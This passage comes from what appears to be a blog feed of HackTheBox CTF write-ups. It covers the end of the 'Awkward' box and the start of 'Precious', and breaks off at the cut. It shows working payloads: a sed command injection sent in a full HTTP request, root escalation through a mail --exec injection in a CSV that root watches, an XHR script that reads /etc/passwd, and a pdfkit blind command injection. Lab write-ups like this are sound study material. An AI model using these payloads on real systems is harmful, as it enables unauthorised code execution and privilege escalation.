                  <span class="k">if</span><span class="p">(</span><span class="nb">str_replace</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s2">"</span><span class="se">\r</span><span class="s2">"</span><span class="p">,</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">),</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$line</span><span class="p">)</span> <span class="o">!==</span> <span class="s2">"***Hat Valley Cart***"</span><span class="p">)</span> <span class="p">{</span> <span class="c1">//don't include first line</span>
                      <span class="nb">array_push</span><span class="p">(</span><span class="nv">$details</span><span class="p">,</span> <span class="nb">str_replace</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s2">"</span><span class="se">\r</span><span class="s2">"</span><span class="p">,</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">),</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$line</span><span class="p">));</span>
                  <span class="p">}</span>
              <span class="p">}</span>
              <span class="k">foreach</span><span class="p">(</span><span class="nv">$details</span> <span class="k">as</span> <span class="nv">$cart_item</span><span class="p">)</span> <span class="p">{</span>
                  <span class="nv">$cart_items</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s2">"&amp;"</span><span class="p">,</span> <span class="nv">$cart_item</span><span class="p">);</span>
                  <span class="k">for</span><span class="p">(</span><span class="nv">$x</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$x</span> <span class="o">&lt;</span> <span class="nb">count</span><span class="p">(</span><span class="nv">$cart_items</span><span class="p">);</span> <span class="nv">$x</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
                      <span class="nv">$cart_items</span><span class="p">[</span><span class="nv">$x</span><span class="p">]</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s2">"="</span><span class="p">,</span> <span class="nv">$cart_items</span><span class="p">[</span><span class="nv">$x</span><span class="p">]);</span> <span class="c1">//key and value as separate values in subarray</span>
                  <span class="p">}</span>
                  <span class="nv">$html</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"&lt;tr&gt;&lt;td&gt;</span><span class="si">{</span><span class="nv">$cart_items</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span><span class="si">}</span><span class="s2">&lt;/td&gt;&lt;td&gt;</span><span class="si">{</span><span class="nv">$cart_items</span><span class="p">[</span><span class="mi">2</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span><span class="si">}</span><span class="s2">&lt;/td&gt;&lt;td&gt;</span><span class="si">{</span><span class="nv">$cart_items</span><span class="p">[</span><span class="mi">3</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span><span class="si">}</span><span class="s2">&lt;/td&gt;&lt;td&gt;&lt;button data-id=</span><span class="si">{</span><span class="nv">$cart_items</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span><span class="si">}</span><span class="s2"> onclick=</span><span class="se">\"</span><span class="s2">removeFromCart(this, localStorage.getItem('user'))</span><span class="se">\"</span><span class="s2"> class='remove-item'&gt;Remove&lt;/button&gt;&lt;/td&gt;&lt;/tr&gt;"</span><span class="p">;</span>
              <span class="p">}</span>
          <span class="p">}</span>
      <span class="p">}</span>
      <span class="k">echo</span> <span class="nv">$html</span><span class="p">;</span>
      <span class="k">exit</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="cp">?&gt;</span>
</code></pre></div>    </div>

    <p><em>NOTE: for simplicity I set in the browser’s LocalStorage: <code class="language-html highlighter-rouge">user : 1</code></em></p>

    <p><em>NOTE: it’s important to add at least one item to the cart to create the path <code class="language-html highlighter-rouge">/var/www/store/cart/1</code></em></p>

    <p>three <code class="language-html highlighter-rouge">system("...");</code> are used, it is very likely that there is a command injection vulnerability:</p>
    <ul>
      <li>
        <div class="language-php highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nb">system</span><span class="p">(</span><span class="s2">"echo '***Hat Valley Cart***' &gt; </span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">cart/</span><span class="si">{</span><span class="nv">$user_id</span><span class="si">}</span><span class="s2">"</span><span class="p">);</span>
</code></pre></div>        </div>
      </li>
      <li>
        <div class="language-php highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nb">system</span><span class="p">(</span><span class="s2">"head -2 </span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">product-details/</span><span class="si">{</span><span class="nv">$item_id</span><span class="si">}</span><span class="s2">.txt | tail -1 &gt;&gt; </span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">cart/</span><span class="si">{</span><span class="nv">$user_id</span><span class="si">}</span><span class="s2">"</span><span class="p">);</span>
</code></pre></div>        </div>
      </li>
      <li>
        <div class="language-php highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nb">system</span><span class="p">(</span><span class="s2">"sed -i '/item_id=</span><span class="si">{</span><span class="nv">$item_id</span><span class="si">}</span><span class="s2">/d' </span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">cart/</span><span class="si">{</span><span class="nv">$user_id</span><span class="si">}</span><span class="s2">"</span><span class="p">);</span>
</code></pre></div>        </div>
      </li>
    </ul>

    <p><br /></p>

    <p>I notice that the <code class="language-html highlighter-rouge">checkValidItem()</code> function is called on <code class="language-html highlighter-rouge">"{$STORE_HOME}product-details/{$item_id}.txt"</code> to add an item while it is called on <code class="language-html highlighter-rouge">"{$STORE_HOME}cart/{$user_id}"</code> to delete an item</p>

    <p>I’m not convinced by the curly braces in the path, I do a local test: <code class="language-html highlighter-rouge">php -a</code></p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  php <span class="o">&gt;</span> <span class="nv">$STORE_HOME</span> <span class="o">=</span> <span class="s2">"/var/www/store/"</span><span class="p">;</span>
  php <span class="o">&gt;</span> <span class="nv">$item_id</span> <span class="o">=</span> 1<span class="p">;</span>
  php <span class="o">&gt;</span> <span class="nv">$user_id</span> <span class="o">=</span> 2<span class="p">;</span>
  php <span class="o">&gt;</span> <span class="nb">echo</span> <span class="s2">"{</span><span class="nv">$STORE_HOME</span><span class="s2">}cart/{</span><span class="nv">$user_id</span><span class="s2">}"</span><span class="p">;</span>
  /var/www/store/cart/2
</code></pre></div>    </div>

    <p>everything OK, I don’t have to worry about the curly braces</p>

    <p>look at: <a href="https://gtfobins.github.io/gtfobins/sed/">https://gtfobins.github.io/gtfobins/sed/</a> → <code class="language-html highlighter-rouge">sed -n '1e id' /etc/hosts</code></p>

    <div class="language-php highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="k">if</span><span class="p">(</span><span class="nf">checkValidItem</span><span class="p">(</span><span class="s2">"</span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">cart/</span><span class="si">{</span><span class="nv">$user_id</span><span class="si">}</span><span class="s2">"</span><span class="p">))</span> <span class="p">{</span>
      <span class="nb">system</span><span class="p">(</span><span class="s2">"sed -i '/item_id=</span><span class="si">{</span><span class="nv">$item_id</span><span class="si">}</span><span class="s2">/d' </span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">cart/</span><span class="si">{</span><span class="nv">$user_id</span><span class="si">}</span><span class="s2">"</span><span class="p">);</span>
      <span class="k">echo</span> <span class="s2">"Item removed from cart"</span><span class="p">;</span>
  <span class="p">}</span>
</code></pre></div>    </div>

    <p>the checks are on the <code class="language-html highlighter-rouge">$user_id</code>, so I focus on the <code class="language-html highlighter-rouge">$item_id</code></p>

    <p>executed command: <code class="language-html highlighter-rouge">sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}</code></p>

    <p><code class="language-html highlighter-rouge">sed</code> man page references:</p>
    <ul>
      <li>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>-i[SUFFIX], --in-place[=SUFFIX]
    edit files in place (makes backup if extension supplied). The default operation mode is to break symbolic and hard links. This can be changed with --follow-symlinks and --copy.
</code></pre></div>        </div>
      </li>
      <li>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>-e script, --expression=script
    add the script to the commands to be executed 
</code></pre></div>        </div>
      </li>
      <li>
        <p><a href="https://www.gnu.org/software/sed/manual/html_node/Multiple-commands-syntax.html">https://www.gnu.org/software/sed/manual/html_node/Multiple-commands-syntax.html</a></p>
      </li>
      <li>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>-e '1e command'
</code></pre></div>        </div>

        <p>the <code class="language-html highlighter-rouge">1</code> identifies the line and the <code class="language-html highlighter-rouge">e</code> identifies the command to be executed<br />
<em>example: <code class="language-html highlighter-rouge">echo 'date id' | tr ' ' '\n' | sed '1e'</code> → execute <code class="language-html highlighter-rouge">date</code> command</em><br />
<em>example: <code class="language-html highlighter-rouge">echo 'date id' | tr ' ' '\n' | sed '2e'</code> → execute <code class="language-html highlighter-rouge">id</code> command</em><br />
<em>example: <code class="language-html highlighter-rouge">echo './test.sh' | sed '1e'</code> → executes the script in the current directory</em><br /></p>
      </li>
    </ul>

    <p>exploit:</p>

    <ul>
      <li>PREFIX: <code class="language-html highlighter-rouge">sed -i '/item_id=</code></li>
      <li>EXPLOIT: <code class="language-html highlighter-rouge">' -e '1e /tmp/shell.sh' '</code></li>
      <li>SUFFIX: <code class="language-html highlighter-rouge">/d' /var/www/store/cart/1</code></li>
    </ul>

    <p><br /></p>

    <p>final command: <code class="language-html highlighter-rouge">sed -i '/item_id=' -e '1e /tmp/shell.sh' '/d' /var/www/store/cart/1</code></p>

    <p><em>NOTE: inside <code class="language-html highlighter-rouge">/tmp/shell.sh</code> I put the classic BASH reverse shell</em></p>

    <p>I can run the exploit:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  POST /cart_actions.php HTTP/1.1
  Host: store.hat-valley.htb
  Content-Length: 64
  Authorization: Basic YWRtaW46MDE0bXJiZWFucnVsZXMhI1A=
  Accept: */*
  DNT: 1
  X-Requested-With: XMLHttpRequest
  User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  Origin: http://store.hat-valley.htb
  Referer: http://store.hat-valley.htb/cart.php
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  sec-gpc: 1
  Connection: close

  item='%20-e%20'1e%20/tmp/shell.sh'%20'<span class="err">&amp;</span>user=1<span class="err">&amp;</span>action=delete_item
</code></pre></div>    </div>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="privesc-www-data">Privesc www-data</h2>

<ul>
  <li><code class="language-html highlighter-rouge">id</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  uid=33(www-data) gid=33(www-data) groups=33(www-data)
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">ps faxu | grep root</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  root        1013  0.0  0.0   2988  1148 ?        S    04:55   0:00  \_ inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv
  root        1014  0.0  0.0  18624  1776 ?        S    04:55   0:00  \_ /bin/bash /root/scripts/notify.sh
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">inotifywait</code> command is monitoring changes to file <code class="language-html highlighter-rouge">/var/www/private/leave_requests.csv</code></p>
  </li>
  <li>
    <p>I run <code class="language-html highlighter-rouge">./pspy64</code> to see what happens after a modification of the file <code class="language-html highlighter-rouge">/var/www/private/leave_requests.csv</code></p>

    <p>in another terminal: <code class="language-html highlighter-rouge">echo 'test123456' &gt;&gt; leave_requests.csv</code></p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  2022/12/15 08:46:42 CMD: UID=0    PID=6040   | tail -1 /var/www/private/leave_requests.csv 
  2022/12/15 08:46:42 CMD: UID=0    PID=6043   | awk -F, {print $1} 
  2022/12/15 08:46:42 CMD: UID=0    PID=6042   | /bin/bash /root/scripts/notify.sh 
  2022/12/15 08:46:42 CMD: UID=0    PID=6041   | /bin/bash /root/scripts/notify.sh 
  2022/12/15 08:46:42 CMD: UID=0    PID=6044   | /bin/bash /root/scripts/notify.sh 
  2022/12/15 08:46:42 CMD: UID=0    PID=6045   | mail -s Leave Request: test123456 christine 
  2022/12/15 08:46:42 CMD: UID=0    PID=6046   | /usr/sbin/sendmail -oi -f root@awkward -t 
  2022/12/15 08:46:42 CMD: UID=0    PID=6047   | /usr/sbin/postdrop -r 
  2022/12/15 08:46:42 CMD: UID=128  PID=6048   | cleanup -z -t unix -u -c 
  2022/12/15 08:46:42 CMD: UID=0    PID=6049   | trivial-rewrite -n rewrite -t unix -u -c 
  2022/12/15 08:46:42 CMD: UID=0    PID=6050   | local -t unix
</code></pre></div>    </div>

    <p>an email is sent as root and my string appears as subject:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  mail -s Leave Request: test123456 christine
</code></pre></div>    </div>

    <p>look at: <a href="https://gtfobins.github.io/gtfobins/mail/">https://gtfobins.github.io/gtfobins/mail/</a> → <code class="language-html highlighter-rouge">mail --exec='!/bin/sh'</code></p>

    <p>inside <code class="language-html highlighter-rouge">/tmp/privesc.sh</code> I put any BASH command to get a privileged shell: SUID BIT, revshell, etc…</p>

    <p><code class="language-html highlighter-rouge">echo '\ --exec="!/tmp/privesc\.sh" -u' &gt;&gt; leave_requests.csv</code></p>

    <p>thanks to the execution of <code class="language-html highlighter-rouge">/tmp/privesc.sh</code> I got root privileges</p>
  </li>
  <li>the command used in the <code class="language-html highlighter-rouge">notify.sh</code> script was:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  inotifywait <span class="nt">--quiet</span> <span class="nt">--monitor</span> <span class="nt">--event</span> modify /var/www/private/leave_requests.csv | <span class="k">while </span><span class="nb">read</span><span class="p">;</span> <span class="k">do
          </span><span class="nv">change</span><span class="o">=</span><span class="si">$(</span><span class="nb">tail</span> <span class="nt">-1</span> /var/www/private/leave_requests.csv<span class="si">)</span>
          <span class="nv">name</span><span class="o">=</span><span class="sb">`</span><span class="nb">echo</span> <span class="nv">$change</span> | <span class="nb">awk</span> <span class="nt">-F</span>, <span class="s1">'{print $1}'</span><span class="sb">`</span>
          <span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"You have a new leave request to review!</span><span class="se">\n</span><span class="nv">$change</span><span class="s2">"</span> | mail <span class="nt">-s</span> <span class="s2">"Leave Request: "</span><span class="nv">$name</span> christine
  <span class="k">done</span>
</code></pre></div>    </div>

    <p>debugging with <code class="language-html highlighter-rouge">set -x</code>:</p>

    <ul>
      <li>
        <p><code class="language-html highlighter-rouge">name=$(echo '\ --exec="!/tmp/privesc\.sh" -u' | awk -F, '{print $1}')</code></p>

        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  &lt;<span class="nv">xec</span><span class="o">=</span><span class="s2">"!/tmp/privesc</span><span class="se">\.</span><span class="s2">sh"</span> <span class="nt">-u</span><span class="s1">' | awk -F, '</span><span class="o">{</span>print <span class="nv">$1</span><span class="o">}</span><span class="s1">')
  ++ awk -F, '</span><span class="o">{</span>print <span class="nv">$1</span><span class="o">}</span><span class="s1">'
  ++ echo '</span><span class="se">\ </span><span class="nt">--exec</span><span class="o">=</span><span class="s2">"!/tmp/privesc</span><span class="se">\.</span><span class="s2">sh"</span> <span class="nt">-u</span><span class="s1">'
  + name='</span><span class="se">\ </span><span class="nt">--exec</span><span class="o">=</span><span class="s2">"!/tmp/privesc</span><span class="se">\.</span><span class="s2">sh"</span> <span class="nt">-u</span><span class="s1">'
</span></code></pre></div>        </div>
      </li>
      <li>
        <p><code class="language-html highlighter-rouge">mail -s "Leave Request: "$name christine</code></p>

        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  + mail <span class="nt">-s</span> <span class="s1">'Leave Request: \'</span> <span class="s1">'--exec="!/tmp/privesc\.sh"'</span> <span class="nt">-u</span> christine
</code></pre></div>        </div>

        <p>I then get server side this command: <code class="language-html highlighter-rouge">mail -s 'Leave Request: \' '--exec="!/tmp/privesc\.sh"' -u christine</code></p>

        <p>I thought the space before the <code class="language-html highlighter-rouge">--exec</code> was being ignored so I added a <code class="language-html highlighter-rouge">\ </code></p>

        <p>here is the final command that is actually executed: <code class="language-html highlighter-rouge">mail -s Leave Request: '--exec="!/tmp/privesc\.sh"' -u christine</code></p>
      </li>
    </ul>
  </li>
</ul>]]></content><author><name>Federico Fantini</name></author><category term="Writeups" /><category term="HackTheBox" /><category term="CTF" /><category term="Vue.js" /><category term="Jwt" /><category term="Sockjs" /><category term="HMAC-SHA256" /><category term="SSRF" /><category term="Command-Injection" /><summary type="html"><![CDATA[INDEX INDEX Enumeration Privesc bean Privesc www-data]]></summary></entry><entry><title type="html">Precious writeup</title><link href="https://federicofantini.github.io/blog/2022/12/14/Precious.html" rel="alternate" type="text/html" title="Precious writeup" /><published>2022-12-14T00:00:00+01:00</published><updated>2022-12-14T00:00:00+01:00</updated><id>https://federicofantini.github.io/blog/2022/12/14/Precious</id><content type="html" xml:base="https://federicofantini.github.io/blog/2022/12/14/Precious.html"><![CDATA[<h1 id="index">INDEX</h1>
<ul>
  <li><a href="#index">INDEX</a>
    <ul>
      <li><a href="#enumeration">Enumeration</a></li>
      <li><a href="#web-exploitation">Web exploitation</a>
        <ul>
          <li><a href="#method-1">Method 1</a></li>
          <li><a href="#method-2">Method 2</a></li>
        </ul>
      </li>
      <li><a href="#privesc-user">Privesc user</a></li>
      <li><a href="#privesc-root">Privesc root</a></li>
    </ul>
  </li>
</ul>

<p><br /><br /></p>

<p><img src="/blog/assets/images/machines/Precious/Precious.png" alt="Precious box HTB" /></p>

<h2 id="enumeration">Enumeration</h2>

<ul>
  <li><code class="language-html highlighter-rouge">nmap -sV -p- -A -Pn 10.10.11.189</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
  | ssh-hostkey: 
  |   3072 845e13a8e31e20661d235550f63047d2 (RSA)
  |   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
  |_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
  80/tcp open  http    nginx 1.18.0
  |_http-title: Did not follow redirect to http://precious.htb/
  |_http-server-header: nginx/1.18.0
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div>    </div>

    <p>the site is redirecting me to <a href="http://precious.htb/"><code class="language-html highlighter-rouge">http://precious.htb/</code></a>, so I add it to the <code class="language-html highlighter-rouge">/etc/hosts</code> file</p>
  </li>
  <li>
    <p><code class="language-html highlighter-rouge">nmap -p80 -A -sCV precious.htb</code></p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 21:07 CET
  Nmap scan report for precious.htb (10.10.11.189)
  Host is up (0.047s latency).

  PORT   STATE SERVICE VERSION
  80/tcp open  http    nginx 1.18.0
  |_http-title: Convert Web Page to PDF
  | http-server-header: 
  |   nginx/1.18.0
  |_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 9.99 seconds
</code></pre></div>    </div>

    <p>I notice that site’s webserver is <code class="language-html highlighter-rouge">nginx 1.18.0 + Phusion Passenger(R) 6.0.15</code></p>
  </li>
  <li><code class="language-html highlighter-rouge">gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://precious.htb/</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://precious.htb/</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>
</code></pre></div>    </div>
  </li>
  <li>I visit the website:
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="cp">&lt;!DOCTYPE html&gt;</span>
  <span class="nt">&lt;html&gt;</span>
  <span class="nt">&lt;head&gt;</span>
      <span class="nt">&lt;title&gt;</span>Convert Web Page to PDF<span class="nt">&lt;/title&gt;</span>
      <span class="nt">&lt;link</span> <span class="na">rel=</span><span class="s">"stylesheet"</span> <span class="na">href=</span><span class="s">"stylesheets/style.css"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;/head&gt;</span>
  <span class="nt">&lt;body&gt;</span>
      <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"wrapper"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;h1</span> <span class="na">class=</span><span class="s">"title"</span><span class="nt">&gt;</span>Convert Web Page to PDF<span class="nt">&lt;/h1&gt;</span>
          <span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"/"</span> <span class="na">method=</span><span class="s">"post"</span><span class="nt">&gt;</span>
              <span class="nt">&lt;p&gt;</span>Enter URL to fetch<span class="nt">&lt;/p&gt;&lt;br&gt;</span>
              <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"text"</span> <span class="na">name=</span><span class="s">"url"</span> <span class="na">value=</span><span class="s">""</span><span class="nt">&gt;</span>
              <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Submit"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;/form&gt;</span>
          <span class="nt">&lt;h2</span> <span class="na">class=</span><span class="s">"msg"</span><span class="nt">&gt;&lt;/h2&gt;</span>
      <span class="nt">&lt;/div&gt;</span> 
  <span class="nt">&lt;/body&gt;</span>
  <span class="nt">&lt;/html&gt;</span>
</code></pre></div>    </div>
  </li>
  <li>I enter as URL <a href="http://10.10.14.49:4444"><code class="language-html highlighter-rouge">http://10.10.14.49:4444</code></a> and I get
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  GET / HTTP/1.1
  Host: 10.10.14.49:4444
  User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Connection: Keep-Alive
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,*
</code></pre></div>    </div>

    <p>thanks to the header <code class="language-html highlighter-rouge">wkhtmltopdf Version/10.0</code> I find immediately: <a href="https://github.com/advisories/GHSA-36cg-hvm7-mhwp">https://github.com/advisories/GHSA-36cg-hvm7-mhwp</a></p>

    <p>exploit: <a href="https://github.com/wkhtmltopdf/wkhtmltopdf/issues/4536">https://github.com/wkhtmltopdf/wkhtmltopdf/issues/4536</a> → <code class="language-html highlighter-rouge">all version ( <span class="nt">&lt;</span><span class="err">=0.12.5</span> <span class="err">)</span></code></p>

    <p>I create a <code class="language-html highlighter-rouge">111.html</code> file</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="cp">&lt;!DOCTYPE html&gt;</span>
  <span class="nt">&lt;html&gt;&lt;head&gt;&lt;meta</span> <span class="na">http-equiv=</span><span class="s">"Content-Type"</span> <span class="na">content=</span><span class="s">"text/html; charset=UTF-8"</span><span class="nt">&gt;</span>

  <span class="nt">&lt;body&gt;</span>

  <span class="nt">&lt;script&gt;</span>
  <span class="nx">x</span><span class="o">=</span><span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">;</span>
  <span class="nx">x</span><span class="p">.</span><span class="nx">onload</span><span class="o">=</span><span class="kd">function</span><span class="p">(){</span> <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">responseText</span><span class="p">)</span> <span class="p">};</span>
  <span class="nx">x</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">GET</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">file:///etc/passwd</span><span class="dl">"</span><span class="p">);</span>
  <span class="nx">x</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
  <span class="nt">&lt;/script&gt;</span>

  <span class="nt">&lt;/body&gt;&lt;/html&gt;</span>
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">python3 -m http.server 8000 --directory .</code> and put as path <a href="http://10.10.14.49:8000/111.html"><code class="language-html highlighter-rouge">http://10.10.14.49:8000/111.html</code></a></p>

    <p>the pdf that I get in output is empty, maybe the <code class="language-html highlighter-rouge">--disable-local-file-access</code> flag is active</p>
  </li>
  <li>
    <p>inserting <a href="http://localhost:80"><code class="language-html highlighter-rouge">http://localhost:80</code></a> or <a href="http://127.0.0.1:80"><code class="language-html highlighter-rouge">http://127.0.0.1:80</code></a> will only load the page but not download the pdf</p>
  </li>
  <li><code class="language-html highlighter-rouge">whatweb http://precious.htb/</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  http://precious.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.10.11.189], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0]
</code></pre></div>    </div>

    <p>server side is present the web framework: <code class="language-html highlighter-rouge">Ruby-on-Rails</code></p>

    <p><code class="language-html highlighter-rouge">Phusion Passenger(R) 6.0.15</code> is interesting: A fast and robust web server and application server for Ruby, Python and Node.js</p>

    <p>has no known vulnerabilities that version because it is up-to-date: <a href="https://github.com/phusion/passenger/releases">https://github.com/phusion/passenger/releases</a></p>
  </li>
  <li>I look at the content of the pdf that is returned to me and I discover some interesting things:
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  %PDF-1.4
  %Ã¢Ã£
  1 0 obj
  <span class="nt">&lt;</span><span class="err">&lt;</span>
  <span class="err">/</span><span class="na">Title</span> <span class="err">()</span>
  <span class="err">/</span><span class="na">Creator</span> <span class="err">(</span><span class="na">þÿwkhtmltopdf</span> <span class="err">0.12.6)</span>
  <span class="err">/</span><span class="na">Producer</span> <span class="err">(</span><span class="na">þÿQt</span> <span class="err">5.15.2)</span>
  <span class="err">/</span><span class="na">CreationDate</span> <span class="err">(</span><span class="na">D:20221202110018-05</span><span class="err">'00')</span>



  <span class="err">%</span><span class="na">BeginExifToolUpdate</span>
  <span class="err">1</span> <span class="err">0</span> <span class="na">obj</span>
  <span class="err">&lt;&lt;</span>
  <span class="err">/</span><span class="na">Creator</span> <span class="err">(</span><span class="na">Generated</span> <span class="na">by</span> <span class="na">pdfkit</span> <span class="na">v0.8.6</span><span class="err">)</span>
  <span class="nt">&gt;</span>&gt;
  endobj
  11 0 obj
  <span class="nt">&lt;</span><span class="err">&lt;</span>
  <span class="err">/</span><span class="na">Type</span> <span class="err">/</span><span class="na">Metadata</span>
  <span class="err">/</span><span class="na">Subtype</span> <span class="err">/</span><span class="na">XML</span>
  <span class="err">/</span><span class="na">Length</span> <span class="err">2829</span>
  <span class="nt">&gt;</span>&gt;
  stream
  <span class="cp">&lt;?xpacket begin='ï»¿' id='W5M0MpCehiHzreSzNTczkc9d'?&gt;</span>
  <span class="nt">&lt;x:xmpmeta</span> <span class="na">xmlns:x=</span><span class="s">'adobe:ns:meta/'</span><span class="nt">&gt;</span>
  <span class="nt">&lt;rdf:RDF</span> <span class="na">xmlns:rdf=</span><span class="s">'http://www.w3.org/1999/02/22-rdf-syntax-ns#'</span><span class="nt">&gt;</span>
      <span class="nt">&lt;rdf:Description</span> <span class="na">rdf:about=</span><span class="s">''</span>
          <span class="na">xmlns:dc=</span><span class="s">'http://purl.org/dc/elements/1.1/'</span><span class="nt">&gt;</span>
          <span class="nt">&lt;dc:creator&gt;</span>
              <span class="nt">&lt;rdf:Seq&gt;</span>
                  <span class="nt">&lt;rdf:li&gt;</span>Generated by pdfkit v0.8.6<span class="nt">&lt;/rdf:li&gt;</span>
              <span class="nt">&lt;/rdf:Seq&gt;</span>
          <span class="nt">&lt;/dc:creator&gt;</span>
      <span class="nt">&lt;/rdf:Description&gt;</span>
  <span class="nt">&lt;/rdf:RDF&gt;</span>
  <span class="nt">&lt;/x:xmpmeta&gt;</span>
</code></pre></div>    </div>

    <p>the creator had fun putting a vulnerable version in the User-Agent but in reality the one fixed immediately after is used: <code class="language-html highlighter-rouge">wkhtmltopdf 0.12.6</code></p>

    <p><code class="language-html highlighter-rouge">Generated by pdfkit v0.8.6</code> also appears in the pdf, so double trickery!</p>

    <p>this version is vulnerable <strong>CVE-2022-25765</strong></p>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="web-exploitation">Web exploitation</h2>

<p><br /><br /></p>

<h3 id="method-1">Method 1</h3>

<ul>
  <li>
    <p><a href="https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795">https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795</a></p>

    <p>I try to run <code class="language-html highlighter-rouge">sleep</code> command (<strong>blind-command-injection</strong>)</p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  http://10.10.14.49/?name=#{'%20`sleep 5`'}
</code></pre></div>    </div>

